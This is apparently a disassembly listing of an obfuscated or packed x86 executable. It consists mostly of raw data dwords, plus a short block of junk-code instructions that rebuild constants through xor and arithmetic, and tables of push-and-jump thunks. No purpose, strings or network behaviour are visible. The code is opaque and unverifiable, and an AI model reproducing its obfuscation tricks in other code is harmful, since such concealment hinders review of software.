0C3C90E31h dd 0DDD91D5Ch, 75501E0Ch, 498DCC09h, 2CBD3E4Dh, 0BC5h dd 95D54200h, 0F39BEF5h, 4D77A13Ah, 0D92C686Eh, 0C05B6196h dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h dd 769519C1h, 788307CFh, 4EC81F2h, 89000000h, 0E789243Ch dd 4C781h, 0EF830000h, 243C8704h, 30DF685Ch, 2C890000h dd 5EC06824h, 34890000h, 22B46824h, 14890000h, 7C14BA24h dd 814A6D42h, 5D3233EAh, 5AD58967h, 412568h, 24248900h dd 4240483h, 0BA52555Eh, 59662077h, 4245429h, 8468F5Ah dd 77084681h, 0FF596620h, 835E2434h, 34FF04C4h, 0C4835D24h dd 30B9E904h, 0BF84FFFDh, 0B000DE4Ch, 41AB2746h, 4EE6B8D4h dd 0C50305E5h, 20EBD18Bh, 8 dup(0) dd 50AE9h, 4FEE900h, 34680000h, 0E905E551h, 0FFFD306Fh dd 0E551CB68h, 3065E905h, 4468FFFDh, 0E905E553h, 0FFFD305Bh dd 0E553A368h, 3051E905h, 2BADFFFDh, 0D61E636Fh, 857534D2h dd 29AC9D39h, 0D9026763h, 0D1B0CFCBh, 5810FCCh, 0E3EFB524h dd 4A505C9Eh, 1E8402F7h, 0C98A2F56h, 18F9FDF6h, 6A6ED115h dd 0C57AC726h, 0D67C18B9h, 0B06DA490h, 1FBA0416h, 40h dd 0B9FA8823h, 93B0FC18h, 0B963D475h, 0C5B2FC18h, 0B6309988h dd 4201FE08h, 0B1D4DA03h, 0BBC2C60Eh, 0A6E4C532h, 5F941AC3h dd 4F00A928h, 86F9FDF6h, 0F70A10A9h, 2D7844B4h, 31B01FA8h dd 0CA000000h, 18B9FB88h, 8E4609FCh, 617AF30Ah, 0A0A78B88h dd 0B9D79821h, 310EFC18h, 6C069A8h, 0C901FE08h, 0C7357D78h dd 0F47F8EFBh, 0F4618400h, 9E4442BFh, 0AB2C6A6Eh, 71AEF4E7h dd 1174A12Ah, 18B93C48h, 0FE7617Ch, 0F5BB2063h, 0DD842596h dd 0AFEE911Dh, 0D005602Eh, 492DDA47h, 0AE3F8460h, 61C649F8h dd 7C1816F0h, 0E6174A21h, 2C360FD8h, 8BB80100h, 627C1866h dd 36931215h, 7C180605h, 3F4667DCh, 594543B4h, 0AADDF19Eh dd 5C72ECEBh, 99693F7Eh, 0ED6EBDEAh, 36F455DCh, 6981FA30h dd 91AE8B12h, 8279FA33h, 83C27044h, 0F0765753h, 0BFE6991Dh dd 8105F1B0h, 0ABE8F17Ah, 65h, 577B189Fh, 0EBEE51D0h, 1A612DAFh dd 0FA4364D1h, 1FE0226h, 0C4FF249h, 1B5ACDCBh, 1F0BDCE2h dd 82EFAD2Ah, 45C972Eh, 0B539186Dh, 5A000002h, 8FF2189Ch dd 0E2474347h, 5D2CAAF6h, 0B3F61C9Ah, 215E444Ah, 32807D42h dd 9826D594h, 0C1CD0F72h, 357364C5h, 0FB5CA5A9h, 0F9FDE87Ah dd 8E20EAABh, 280h, 266A6EB4h, 0B9C57AC7h, 9C11FC18h, 48FC18B9h dd 0FC18B938h, 18B94DE2h, 0B9E499FCh, 330FC18h, 47BC18B9h dd 3CD42ADAh, 8339B0B7h, 1276D356h, 0B5C1FD12h, 72DE4BFEh dd 66B0EDE6h, 642F3697h, 90EBB725h, 0A4A9825Bh, 1DDE8180h dd 6ECB3697h, 0C41F9820h, 2B971C6Bh, 3C3E7A38h, 21E0669h dd 33A50000h, 0DE166B77h, 8D4D3CDAh, 31A48501h, 0E11A6F6Bh dd 0D9B837D3h, 0D8917C4h, 0EBF7BD3Ch, 0B2586496h, 68C0ACFh dd 0D182275Eh, 0F9FDE8h, 696ED91Dh, 62EFD823h, 0FF58DB4Eh dd 0FC18B97Eh, 47BFD897h, 2A7AD4CCh, 0D475BC0Dh, 1FEFFCEh dd 1D6C6AC1h, 7435D1DDh, 14ED3884h, 0B3245B0Fh, 92F3759Ch dd 1D84254Dh, 18DE0EBCh, 0B46DFA04h, 0FE164FF7h, 61840AF3h dd 0F82EBFF4h, 0AFC40783h, 5DF7D44Ah, 0BDCE01Ah, 6392D32h dd 8A16C487h, 0FBD6E831h, 72C90A32h, 4D4B8CCFh, 5C629BDAh dd 2DAA9F8Bh, 84151C6Fh, 93200507h, 46AF3854h, 0EDAA7619h dd 21D6F09Dh, 8C6DF29Bh, 0FEF04D22h, 0BD399E81h, 54104C49h dd 0B029681Fh, 5C9DECEAh, 544CF5Eh, 0ABF4D5D1h, 0EB8F29A6h dd 0F6695DC2h, 69985551h, 70F74C16h, 0C4C2C831h, 0D7367465h dd 0ACEAEDACh, 0C33D221Bh, 0F7505480h, 0E1646646h, 0FD089444h dd 2865D278h, 0D7569039h, 88F91C82h, 0F5104D53h, 7A9697ACh dd 724284DFh, 6642E23Fh, 19495Dh, 47C60000h, 7A9A71E2h dd 94CBA0DFh, 0B88E5F65h, 18D6FB88h, 1129FCh, 0AE5D0000h dd 0B9C98A2Fh, 2318FC18h, 0D33C319Ah, 1875FC18h, 77D0577Bh dd 1FE086Bh, 0C552D5A2h, 1B6537CAh, 143F882Ch, 0EF92B6DBh dd 1F18284Ah, 678CFB04h, 0FE79F5B5h, 0A560C3A6h, 2A000000h dd 9FE2E8ACh, 0F2B75357h, 2D1CBA06h, 83E6ECAAh, 314E545Ah dd 2904D52h, 6836A584h, 0D1DD1F62h, 5837435h, 0BACD599h dd 0F9FDEA4Ah, 18509A9Bh, 77D0577Bh, 1FE086Bh, 79B6D5A2h dd 0CE71F0D4h, 0B1760459h, 3ED5464Ch, 0ABF4D556h, 41F587Fh dd 1A5CD996h, 9DFE7A39h, 46A988h, 0BCD0000h, 0B63E038Fh dd 6595D4F2h, 9CCBD59h, 0B9220783h, 0B150EFEBh, 25A1EFECh dd 830F9544h, 6A703CBEh, 3EA4E217h, 0E96ACF36h, 38F9FDEAh dd 39AEB175h, 1AC17214h, 53C47194h, 1FA80ADFh, 3B0h, 9DA7CA00h dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 68BE68F2h dd 0C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h db 89h, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edi mov edi, 65160E0h dec edi shl edi, 6 dec edi push ebp mov ebp, 91BD787Ch xor edi, ebp pop ebp mov eax, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebx push eax add dword ptr [esp], 505B0388h pop ebx sub ebx, 505B0388h mov [edi+8], ebx pop ebx push dword ptr [esp] pop edi add esp, 4 mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- dw 3103h dd 0E5540EB8h, 8BC50305h, 51E9C8h, 8B600000h, 3242474h dd 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h, 0B70F064Eh dd 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch, 83000000h dd 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h, 8C261h dd 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh, 9FD3Eh dd 10E8h, 34A2F000h, 0C58649A8h, 6F7C8344h, 6951D095h dd 5BEE8A31h, 3570B966h, 65D4C381h, 85B50000h, 0DE9D22Bh dd 58000000h, 2ED1ED2Ch, 0B866D76Fh, 0EF84C81h, 0B51A34FFh dd 12E95FBFh, 7000000h, 53A0A997h, 98357A6Ah, 5FECD01Ah dd 4BB3DC9Ah, 77C78108h, 0E9031E87h, 12h, 0F18FE45Bh, 0E10EBC6Ch dd 30858DA7h, 1F57BC63h, 0F7810367h, 7F1ED5EBh, 81F2B70Fh dd 0DC849EC7h, 57EE8A2Ch, 13048FFCh, 0AB28B866h, 83F1B70Fh dd 0E18A03EAh, 0F4FA814Ah, 0FFFFF9Ah, 1885h, 0C7B70F00h dd 28E9h, 0E1CD1000h, 0BF098AA4h, 79D7F8FBh, 99604056h dd 21F6812Dh, 0E93715EEh, 0FFFFFF74h, 36F9AF8h, 0BAF9F008h dd 4DE27A39h, 0D9E9FAh, 1D200000h, 0C12C0FBEh, 0CFDF2F82h dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h dd 389382CDh, 3C000000h, 40000000h, 94000000h, 5000000h dd 1000000h, 28000000h, 200000Ah, 20h dup(0) dd 0BA000000h, 0E948321Ch, 1F11h, 0E558B768h, 2959E905h dd 0B068FFFDh, 0E905E559h, 0FFFD294Fh, 0E55AC568h, 2945E905h dd 0B168FFFDh, 0E905E55Bh, 0FFFD293Bh, 0E55CB068h, 2931E905h dd 6B68FFFDh, 0E905E55Dh, 0FFFD2927h, 0E55E3668h, 291DE905h dd 0DA68FFFDh, 0E905E55Eh, 0FFFD2913h, 0E5620F68h, 2909E905h dd 6E68FFFDh, 0E905E562h, 0FFFD28FFh, 0E5639168h, 28F5E905h dd 7568FFFDh, 0E905E566h, 0FFFD28EBh, 0E56AA068h, 28E1E905h dd 0FA68FFFDh, 0E905E56Dh, 0FFFD28D7h, 0E56F4D68h, 28CDE905h dd 0C368FFFDh, 0E905E56Fh, 0FFFD28C3h, 0E5701A68h, 28B9E905h dd 8068FFFDh, 0E905E570h, 0FFFD28AFh, 0E5715C68h, 28A5E905h dd 0B068FFFDh, 0E905E572h, 0FFFD289Bh, 0E573A468h, 2891E905h dd 0EBEDFFFDh, 965E23AFh, 45B5F412h, 0E9EC5D79h, 994227A3h dd 91708F0Bh, 0C5C1CF0Ch, 0A32F7564h, 0A901CDEh, 0DEC4C237h dd 94AEF16h, 0D8F9FDEEh, 696E9155h, 1659D823h, 0D5BCDDE3h dd 55684E5Dh, 46B3BE0Fh, 8C915A40h, 7A73004h, 91CE1115h dd 602EAFEEh, 88F7D005h, 0FA084B2Fh, 96F54201h, 612FACEFh dd 5742FF58h, 1751F9FAh, 0FD35E81Fh, 0D9983FE6h, 0C14E9F23h dd 34h, 577B18E5h, 0D1C777D0h, 211E01FAh, 0FBFCBF3Eh, 5CED6EBDh dd 0F9FAA11Bh, 0C16C7DCAh, 0FAA1CB78h, 1659D8F9h, 5802DBE1h dd 2BE8256Ch, 0D8473FE6h, 7B000000h, 0A3E7EFAEh, 0FF70D958h dd 16FC18B9h, 94DBEC59h, 9FC62563h, 8A35505Eh, 3324854Dh dd 0E2FC18B9h, 0E653579Fh, 46D352A9h, 0DCFE57B1h, 0B2044762h dd 8D4D1A23h, 0FC87750h, 66DA0D89h, 52FC186Bh, 86FBE7A5h dd 0C7304B51h, 56F3765Ah, 1FA313Ch, 0F9F21857h, 3E7A7A54h dd 4EF95EC1h, 0A7041E60h, 41D659C8h, 0D67384D2h, 0F7DF1765h dd 8656C7BCh, 85CC1DD0h, 0FD4C4A58h, 0C975B200h, 8AFE7A92h dd 1C6294FFh, 1FD90000h, 0CA0A7F9Bh, 7961C0CEh, 1DD8A935h dd 0CD0E739Fh, 0C5ACDBC7h, 11BD03F8h, 0FF1BA950h, 464C508Ah dd 2AB0F6E3h, 0FD7EDB2Ah, 14F9FDE1h, 6D6EAD69h, 99ECAA2Dh dd 86FBE75Ch, 22699751h, 0A0FBC930h, 0B9A0222Bh, 0ECAFD20Fh dd 1045A0ECh, 0AE15D3B7h, 47A6ECEFh, 57FCB516h, 0EC4DCC73h dd 0FC18B96Bh, 0B5FCCDBAh, 0FAD12214h, 6786FD01h, 3A7E7D3Ch dd 2485F2BEh, 0FAA1A6DBh, 4333B5F9h, 0E62B11CCh, 0B9BE3Fh dd 6E800000h, 59D82369h, 0DDEE216h, 140B9942h, 0C4E5A155h dd 0BD60D0B9h, 0AB2CFC18h, 5780E1EDh, 50FDCA51h, 0ED4ACD7Ch dd 0FC18BC6Ch, 0B2FDCEA5h, 0FAEFFD15h, 285F1401h, 9B2C7269h dd 0BF47CC8Fh, 4AD1AF42h, 0E564D1EBh, 7A601174h, 7D4E2E8Dh dd 9C819532h, 0FF18041Fh, 202CD15h, 0D3C6909h, 8703914Ah dd 0E6B39A2h, 0FE7ACACAh, 69D5BCC9h, 0DE00001Bh, 33769C18h dd 66DBC7C3h, 0C1A02E72h, 370A9016h, 0A5D2F8C6h, 0B6FCE1BEh dd 1CA25928h, 4549B3F6h, 0A9EFE859h, 67C0212Dh, 0F9FDE0F6h dd 6EA4662Fh, 6BB276Dh, 8A16C487h, 0F061FA73h, 21FC18B9h dd 9CE714Ah, 0AE590783h, 6A7EBEFh, 8D189E5Bh, 8B179542h dd 8E1BA9D7h, 0EA13267Ah, 31441A4h, 0DEEFF97Ch, 0D55478E5h dd 168EC552h, 0E0062B99h, 2E387EC7h, 0C94801FAh, 0FA4EEF60h dd 704926F9h, 4CEB5D2Ah, 0BD45DF33h, 4F5586C9h, 552EBF3Ch dd 0CBE938C8h, 86F7C5BAh, 0F257D649h, 3E695241h, 9F02DB90h dd 8B34D03Ah, 0A928C3h, 344CA84Fh, 0A83B3C9Dh, 9DEA344Ch dd 0D1F266F1h, 573E907Dh, 0E445C11Ah, 1B50ABF1h, 1C92C364h dd 0F443344Ch, 8E936CBFh, 0F1E4A7DAh, 6CEF12ABh, 733EB02Dh dd 0BC1E20B5h, 0E7155481h, 91B902DBh, 70C9AE84h, 9445043Bh dd 0AA501316h, 0A0C1C5E6h, 8D79821h, 310E322Eh, 6A30A9A8h dd 0B32B50Dh, 70D3B63Ch, 1A54h, 6D692DABh, 36DCD81Ch, 9F3B8773h dd 616D2BAAh, 0C9D5DB00h, 11CAD3B2h, 0B7220783h, 5E9CEDE9h dd 4F5B452h, 2D541886h, 0FDE3CB8Ch, 0D31B1AF9h, 0E8FF696Eh dd 0ADD9B743h, 0E152F76Ah, 30FC188Fh, 581B0E7Bh, 4C891CA0h dd 7AE7D07Bh, 876D356h, 4301FAD2h, 0CE5BEEF4h, 72FC11BFh dd 0CD4F5D3h, 0C933727Ah, 9435A6C5h, 0EF92B6DBh, 18E3CC4Ah dd 0F8280704h, 0E3D9D5Fh, 5C701DC8h, 23716A2Dh, 0C74A93D8h dd 8F561862h, 0E93C0BD2h, 0D18227A6h, 254F16h, 0B4D9922Bh dd 2E489190h, 0FAD8AD5Ch, 1E5FF87Bh, 37232150h, 506EEF78h dd 2A72321h, 2150B4A5h, 0D9166D23h, 0BAAD9A00h, 0DD2FB83Bh dd 811B9AD1h, 0D98ACB9Ch, 0E65B2321h, 1E5FAEF2h, 0A05918A1h dd 0A4DFC1Ah, 3EBFCECAh, 7735A2ADh, 883AA0Ah, 8DD4B12Bh dd 1968h, 719D19DFh, 0DAC0C430h, 0A32F7367h, 759117DEh dd 0DDF9C734h, 0FDFEBFA6h, 0A3562BB7h, 4AB0F11Dh, 0F0E95846h dd 0C1202CAAh, 0FDE2F778h, 0A7672EF9h, 0B029696Eh, 0ED5A93EAh dd 1D5EFB7Ah, 34FC18B9h, 5CC76E7Fh, 0AD3DF1Dh, 9382C31h dd 10873F90h, 7C4D5FC2h, 3D4E9435h, 364101FAh, 4F16396h dd 709ECB38h, 0C4872D50h, 7A339410h, 0E94EF1D5h, 4183AADh dd 0BDDF53E4h, 0BDF72A74h, 0D20F8D4Ah, 8D46C96Eh, 3D229304h dd 0D5377AD5h, 904739B6h, 0E160DD0Ah, 198D97Eh, 66925476h dd 8C8AC35Ah, 4EEB16B7h, 0A99467E4h, 0FC35502Fh, 397D7957h dd 7DDA5DCCh, 524867FCh, 28D5E15h, 951BC083h, 421E1976h dd 0E50676C1h, 0ACB61FA8h, 67AFAA18h, 565483C2h, 2B9C44F5h dd 69A69D48h, 4442B7F6h, 74E542C5h, 0AD482B9Ch, 9011F5D6h dd 43642AD1h, 50DDDB1Ch, 560EBF3Eh, 691D6401h, 0DE000018h dd 33769C18h, 66DBC7C3h, 0C1A02E72h, 370A9016h, 0A5D2F8C6h dd 0B6FCE1BEh, 1CA25928h, 4549B3F6h, 0A9EFE859h, 67C0212Dh dd 0F9FDE5F6h, 6EA4662Fh, 59D82369h, 0ABDEE216h, 18B94D0Eh dd 1EAF84FCh, 15143825h, 0FADF5EB4h, 31ABEA01h, 0CDD1E6Dh dd 2525A19Eh, 4F63E066h, 0E43B7FD8h, 0E5520418h, 0F835A2A3h dd 4893131Ch, 0A07C73E4h, 0AE74DD93h, 0D0A5B41Dh, 48D5F29Fh dd 0FA44E564h, 1508FDACh, 6DF2CF5Eh, 5287C679h, 0AB0C7354h dd 0F136A83h, 0B3323502h, 867130h, 0D36A3627h, 0A04CEFE8h dd 772EA7D7h, 2C13B4E1h, 80E1EDABh, 0BCD45157h, 0BFF57637h dd 17AE8BEAh, 0D3050000h, 7E76CBD7h, 2DAD9C3Ah, 0D1046561h dd 817ACFCBh, 79189733h, 0EDE9B724h, 4B575D9Ch, 12B804F6h dd 0E6ECAA2Fh, 312287FEh, 0E0F9FDE4h, 696E79BDh, 62EFD823h dd 0DE0B9144h, 0A9EFE8ABh, 0A13A7E76h, 0E461D97Eh, 0AB8001FAh dd 15493B2Fh, 0E0AC2E08h, 3A773BA1h, 0EF74A207h, 0D0AF0418h dd 86FBB790h, 92BF8425h, 207B41B4h, 5ECB7EABh, 53128545h dd 9C03A4DFh, 77DDD33Bh, 7566299Eh, 6895DC2Fh, 5D8AC35Ah dd 0DA211E8Ch, 0DD4C60EDh, 95DBD27Ch, 726726A4h, 0B905F534h dd 4AD0E962h, 48CB4AFDh, 49DB6EEFh, 0FFC8A757h, 85018770h dd 0EAB82564h, 0DE815A93h, 612D4F19h, 2C8ACB0Ah, 8D488AF7h dd 76135EF0h, 16E32Fh, 1A9E5800h, 4D498DFCh, 0B4F8E041h dd 1E9C5B2Eh, 464CB1F0h, 7B442358h, 0D3963C82h, 0D7C9A28h dd 62C7C3CFh, 0ABAB3775h, 0E77CFD5Ah, 0E895F9FDh, 23696E22h dd 9262EFD8h, 2F069351h, 0F46BA0A2h, 0EB9E963h, 5069558Ah dd 0C3D788D1h, 521501FEh, 46C4E5A3h, 7DAAF8E3h, 484E8BCAh dd 9BC81942h, 4DD4F9FEh, 30A7E699h, 1DA136Ah, 0BD73E405h dd 4C6F52C4h, 37A0AF38h, 0FD625571h, 50F156C9h, 810418EAh dd 0F4B7AAh, 0AB2B1E84h, 5DA8F6E5h, 6CD9E712h, 6C6DD437h dd 0A9CBC12Eh, 2540FE75h, 163F5Ah, 4642B400h, 0A9EDE958h dd 109C5C2Dh, 7A40B78Ah, 0A2F0ED5Ch, 0D7E88F24h, 0F729826h dd 69D8C6CCh, 0DEA32F73h, 4F779319h, 0E7A09136h, 0C71F9FDh dd 577B18CEh, 0FD677D0h, 300F01FEh, 28298E31h, 0F9F9FDEFh dd 0B7F63982h, 58B4E42h, 923875E6h, 9396B6D9h, 7489110h dd 0C5F9FDEFh, 0FDEFF364h, 0C95522F9h, 0EF5E1FB8h, 0B8F7F9FDh dd 2C117A43h, 0E5F9FDEFh, 1C495784h, 0EF92A089h, 9E9FF9FDh dd 66808F09h, 98DD2874h, 3287B1FFh, 52D5A1A9h, 3FE9B97Fh dd 8C47B92Eh, 0CE0B51D8h, 0CB52609Bh, 43F43982h, 0CE000000h dd 0D2557918h, 18B9C075h, 0A19502FCh, 0B0BDAAFCh, 62D94D9Eh dd 0FB013E1Bh, 0D412FC18h, 5174A9E0h, 1BDB3A04h, 0EF000000h dd 0A1EDEFAEh, 0A932767Eh, 18B93240h, 0C7EB68FCh, 0DC3FE740h dd 195601FAh, 7B18F7FDh, 8A119D5Dh, 92151441h, 0C9B82AD3h dd 0F85C5AD5h, 0D60766D3h, 1DBEACF5h, 1A5101FAh, 20178083h dd 48C22FF0h, 0E4155C6Dh, 904938A6h, 0E8CF5BD6h, 27F0BE4h dd 3D8378FBh, 12E2A4EEh, 2BA933A4h, 4D4B8A63h, 0B59CBD3Eh dd 20572C5h, 0F00B9743h, 0C5A4627Bh, 0BA779614h, 298EB195h dd 419BC09h, 0B032A998h, 5B42D2D1h, 0B4D70C98h, 0BDCCCA07h dd 0B290C92Ch, 578A63C1h, 9EC11AA0h, 6FC85359h, 7F8AADF1h dd 0DC6A5A1Ch, 0CA515D9Dh, 2F138881h, 42127534h, 0BB01F679h dd 0EFAD2A1Fh, 23D2959Ch, 0BB88E8B9h, 3D6A27F1h, 7432A5ACh dd 0DF48C911h, 0CBF6C069h, 1B43641Dh, 9C1ADF2Bh, 0C0C63376h dd 0E3C74CA5h, 0CB9FDB7Ch, 0F9B68206h, 2D6B6CDDh, 5E6497DEh dd 310547CFh, 89614C5h, 60D176F9h, 0B175C6A2h, 797EE1FAh dd 721FE833h, 4C8E2B5Eh, 878824C7h, 9A5F22A8h, 0C786891Ch dd 1C0C5416h, 37C74443h, 0EB98E1FAh, 0B083D8A3h, 8770BEB6h dd 36A48501h, 2BD0136Ah, 0F875E265h, 823313CBh, 8DD753C4h dd 0B02C337Ch, 74F60C17h, 0F965F280h, 0EE63722Fh, 7A48B5F4h dd 2E11AA23h, 0A7EBEAACh, 0A4117432h, 0D594326Fh, 0A5E49B27h dd 3746B638h, 0E2FF7DC1h, 0C60914B5h, 3072890Fh, 0CA307E76h dd 7369D8C6h, 7EE3DC2Fh, 0D472D74Ah, 0F9E3A16h, 430DD530h dd 0C9D50773h, 3D7B7CCDh, 347267EEh, 2B1B5DD1h, 0ED9C1ADFh dd 5AC1E7Ch, 5861B0F2h, 9609C442h, 1CA6DFA7h, 98000000h dd 0C5206C6Eh, 0DC4367ECh, 88515D9Dh, 0C42EA009h, 8AE101FAh dd 1CDD0Ch, 6EE10000h, 0ECC5206Ch, 7BDC4367h, 1FAC053h dd 860CCFB2h, 6597D649h, 3089C259h, 7D0F6C6Ah, 5A25CC1h dd 0FC18B954h, 723EBC8Dh, 0F059C805h, 1FAC3BAh, 52266DDh dd 0F529DA54h, 180F2320h, 6FFE57BFh, 1F1DBEFBh, 5A6A38D3h dd 645DA8E5h, 1554CBFFh, 8ACB6CE4h, 5BFC6F20h, 0EB16B7ECh dd 8D6A244Eh, 3D63F401h, 24A23224h, 0BE02F629h, 5188F92Dh dd 46B33843h, 515780C3h, 8F03F4B5h, 0BC27464Ch, 0A714773Dh dd 0B6F03D6Ah, 0B903E7E7h, 130A85ECh, 77610000h, 22D29733h dd 0D1097866h, 7560C1CDh, 25D6AB37h, 1DC4739Fh, 49555B80h dd 17B301F8h, 0FEE4A852h, 42484E8Bh, 95C66382h, 4CF9FDDBh dd 0C78805C1h, 0B3FC18BAh, 81A666AEh, 51F1AA41h, 0AAC465E4h dd 4501FA29h, 0C2387BEEh, 6B91D0FEh, 5C9DC427h, 0D4CFD15Eh dd 0D9AC045Eh, 12AB76h, 0D2D60000h, 5817534h, 6C30A899h dd 0D6D40366h, 3E8479C8h, 237C1B90h, 9BEEF4BAh, 0F5B45260h dd 2A1FBB07h, 0E3E3EFADh, 0DB342582h, 0A0EDF9FDh, 577B187Ah dd 0D9FF77D0h, 591601FAh, 5102A726h, 8DF9FA99h, 0FE748ECBh dd 0F64DC9AFh, 0EBEBAAD5h, 3F7432A5h, 6226AE93h, 138F181Bh dd 8FFB2031h, 9F5807A0h, 0FD248219h, 2B723EBAh, 1F6E32A8h dd 1E5861DEh, 981CD826h, 8B216E72h, 0EAAEAF08h, 867F9FAh dd 0C9F23D9h, 1905FECFh, 40B4F52Bh, 5782C544h, 8CD57049h dd 0F9FAEAF6h, 77C3B3ADh, 0AA9F3B7Fh, 0A21F6E2Ah, 319689BDh dd 41C5C3Ch, 0F3CD59CEh, 0F2098F48h, 1C8DD079h, 0E65DC912h dd 0F1B72063h, 256394D5h, 4064E9C6h, 65C95EC1h, 2B03E648h dd 0C793FB6h, 9AE52BBh, 8AE10A39h, 6523D497h, 2AE775E2h dd 3AE58BA0h, 2586F3C1h, 0D1D70061h, 0A0EEEFAEh, 0ACB71045h dd 671ACE53h, 56EF14C2h, 0C455D410h, 9568C53Fh, 20112A93h dd 0F1EB9629h, 8EE521BAh, 0B3544961h, 1C6702F2h, 1188h dd 11BDF9FFh, 0FAE0A450h, 434F5387h, 15B1F7FEh, 0FD19A754h dd 0DD1E9F46h, 8376CBD7h, 2AD0913Dh, 0D0097866h, 0E100CCCAh dd 0FDDA1758h, 8747CEF9h, 18B9CE88h, 9C20DAFCh, 6C30AAEDh dd 1F0BDC19h, 6C13375Ch, 0FE0FDDCBh, 43B7001h, 8D099545h dd 77855C7h, 44D53A84h, 0D8F9D8B2h, 0C9369731h, 16Bh, 507C18FDh dd 7509AE6Ah, 61FC18B9h, 39AECEF4h, 77C20D61h, 0A2EEEADBh dd 0AA2D5475h, 5BA2F0EBh, 69FDC912h, 0EFAE56A1h, 2C05A6ECh dd 82A00E22h, 11974003h, 0D91E418Ah, 183C0AD3h, 119F5C7Ah dd 834A5A4h, 2B6B0F5Bh, 9DDE02C8h, 0F4AA6FFCh, 556F17D3h dd 4078855h, 5782C53Dh, 0D6733249h, 0FF18B965h, 318AC7BCh dd 2DCCh, 7E18F600h, 0EFAE9452h, 9918A1EDh, 18B90230h dd 6394D5FCh, 0E079E825h, 0C2EBD28Ch, 66446589h, 6A6E94AEh dd 4A709826h, 258Eh, 7E18B400h, 2FAE9452h, 18B9C98Ah, 9A2318FCh dd 0B9BCB217h, 2DAAFC18h, 6E94AE81h, 0E1AF2C6Ah, 0DEE4519Ah dd 88554A70h, 0C73D0407h, 69h, 8A2FAEFBh, 0FC18B9C9h, 0E9AD2918h dd 0CC522BBCh, 41E66918h, 0FC18B910h, 95516AC1h, 6B6C2FAEh dd 5F97DE2Dh, 74DDEE5Bh, 0FC18B9FEh, 13829D0Ah, 702EB3DDh dd 0F9C2C831h, 0AEE8D6ADh, 9E3BAC2Fh, 0A77985D2h, 331C5DEEh dd 7E35FC18h, 666E996Dh, 4A708422h, 448Eh, 2B8C0F00h, 0FC18B92Ah dd 9A5D8CFBh, 7B4C891Ch, 567A188Fh, 6C2FAE68h, 9A3F226Eh dd 0FC18B9D9h, 41AA3308h, 0FC18B92Dh, 60D17639h, 0B1FC18B9h dd 0AE218DFAh, 4A0BAC2Fh, 9BFC18B9h, 6E2F1BACh, 70842266h dd 0FE838E4Ah, 18B4FFFFh, 77D0577Bh, 1FE0FD6h, 4E31300Fh dd 62870389h, 90EBB723h, 0A6A9825Bh, 35268386h, 0ECF9FDEFh dd 4A0D7497h, 54BD0E8Ah, 0F9FDEFE1h, 86B480C6h, 3E8F13C7h dd 0E965D508h, 327A3Fh, 0AE4C0000h, 77FE7EFh, 0F11F14C5h dd 0EF6CBFF4h, 49F875DEh, 0DCAFC18h, 1D4A5885h, 49D856F1h dd 0F19EFC18h, 750DAADDh, 9C01FA23h, 0D5A63BA7h, 0DC000000h dd 0D0577B18h, 0FACF5B77h, 0C166E901h, 0F9FAAE90h, 43B7EA41h dd 43386E7Fh, 0DB1A5DDCh, 97450CDDh, 40BA8F0Bh, 2766297Ch dd 0E7D0E9B5h, 46D3567Ah, 0FBC8425Bh, 0CBC04C81h, 0C0A40F87h dd 4CCF328Bh, 0EAED75DBh, 0E6C77A68h, 1CA8D89Dh, 73A7104h dd 0FC0F9544h, 60236E7Fh, 19A8367Ah, 44003196h, 9AD1F7DFh dd 1ADC1E41h, 0DF44BCBDh, 0A11E55F7h, 10E06D5Ah, 397B95DCh dd 0C245B27Dh, 397ED665h, 0F170CF0Ah, 0C7CB0F4Eh, 387E7BE6h dd 662AAF92h, 0F6BC2171h, 0BCE92697h, 951F5577h, 0E04326F8h dd 0EA4h, 3DD9DD1Bh, 860C884Ch, 6F6B37A3h, 31DDDB1Ah, 99058B70h dd 0C13A8362h, 6792D7F3h, 0ECCBD59h, 0B4250482h, 9DE4E8F6h dd 0FDDF3B3Ch, 63ABEAF9h dd 40E9696Eh, 0FC18B90Fh, 347A63C6h, 0F87B82FFh, 65D673FFh dd 0B1FC18B9h, 8B7CD31Bh, 7FC248D0h, 86F9367Ch, 0BD3E4D53h dd 2F892540h, 0A8EEEB57h, 60A96422h, 85043A04h, 0E0B4A502h dd 166DFC18h, 18E00435h, 4566DDFCh, 81D8h, 0EFAEE200h dd 2C05A6ECh, 8B1C0327h, 53F8B8C3h, 21D908C9h, 0FCCD0E9Dh dd 887332B5h, 516AE33Ah, 0FAB7AE08h, 40BBFA01h, 0C13E8278h dd 0C853599Eh, 97EC3A83h, 8E0CCD74h, 2E210E9Bh, 3D27701Eh dd 21AAF1BDh, 7237D3F4h, 0BE40785h, 0EDB32806h, 59CDD7Ah dd 0FEB5F9FAh, 17DF9E81h, 0FAC30893h, 72BC12B7h, 12570418h dd 0B40DBE9h, 18B130DEh, 0E710B725h, 78115AA1h, 256486E7h dd 5A93EAB8h, 666EA581h, 11C5A422h, 4C0F7695h, 50B9028Eh dd 0FC18B918h, 2CAAF6E4h, 0CD08262Bh, 0C23FBCCFh, 0F5DFA5Fh dd 0FFB401FEh, 0EF60C948h, 0FDF9FDEFh, 0EE6FBEFCh, 0FA24D760h dd 0C6FC5523h, 8EF13089h, 9258464Ah, 84077855h, 19AD73Ah dd 0D1500000h, 98B9C788h, 98211EFCh, 507C18A2h, 0BA2FAE6Ah dd 7958F5C3h, 4C953626h, 0FC187436h, 403955C2h, 0BD12A812h dd 18985B1Ch, 40BD8AFCh, 6393DE67h, 980B4CEDh, 6DDAFC18h dd 0AEFFFB30h, 0EDA16994h, 50E5FD6Ah, 9639CDBEh, 181E84B5h dd 0C5E65DFCh, 527E18E1h, 0AEB88294h, 